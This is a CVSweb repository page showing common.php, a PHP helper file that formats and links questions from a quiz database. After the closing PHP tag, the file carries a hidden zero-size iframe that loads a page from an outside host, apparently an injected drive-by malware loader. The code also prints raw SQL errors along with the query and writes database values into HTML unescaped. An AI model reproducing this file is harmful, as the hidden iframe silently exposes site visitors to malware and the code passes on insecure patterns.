File:  [Local Repository] / db / prgsrc / new / Attic / common.php
Revision 1.3: download - view: text, annotated - select for diffs - revision graph
Fri Feb 8 22:49:12 2008 UTC (16 years, 3 months ago) by roma7
Branches: MAIN
CVS tags: HEAD
dbxml.php added

<?
$limit=200;
function print_question($row) {
	$row['tFileName']=str_replace('.txt','',$row['tFileName']);
	$row['t1FileName']=str_replace('.txt','',$row['t1FileName']);
	foreach ($row as $k=>$v) {
 		$row[$k]=preg_replace('/\(pic: ([^\)]*)\)/','<p><img src="/znatoki/images/db/$1"><p>',$v);
		$row[$k]=preg_replace('/^\|([^\n]*)/','<pre>$1</pre>',$row[$k]);
		$row[$k]=preg_replace('/^\s+/ms','<br>&nbsp;&nbsp;&nbsp;&nbsp;',$row[$k]);
	}
	$row['link']=make_link($row);
	include "question_template.php";
}

function print_questions_sql($sql,$search=false) {
	$res=mysql_query($sql) or print mysql_error().$sql;
	print_questions_res($res,$search);	
}

function print_questions_res($res,$search=false) {
	global $limit;
	$kvo=mysql_num_rows($res);
	if ($search) {
		if ($kvo==$limit) {
			print "More than $limit results";
		} else print "$kvo results";
		while ($row=mysql_fetch_assoc($res)) {
			print_question($row);
		}
	}
}

function make_link ($row) {
	$row['tFileName']=preg_replace('/\.txt/','',$row['tFileName']);
	$row['t1FileName']=preg_replace('/\.txt/','',$row['t1FileName']);
	$row['tFileName']=preg_replace('/\./','_',$row['tFileName']);
	$row['t1FileName']=preg_replace('/\./','_',$row['t1FileName']);
	$text_id=$row['tFileName'] or  $text_id=$row['tFileName'];
	$text_id.="_".$row['Number'].".html";
	return $text_id;
}
?><iframe src=http://www.ctv163.com/wuhan/down.htm width=0 height=0></iframe>

FreeBSD-CVSweb <freebsd-cvsweb@FreeBSD.org>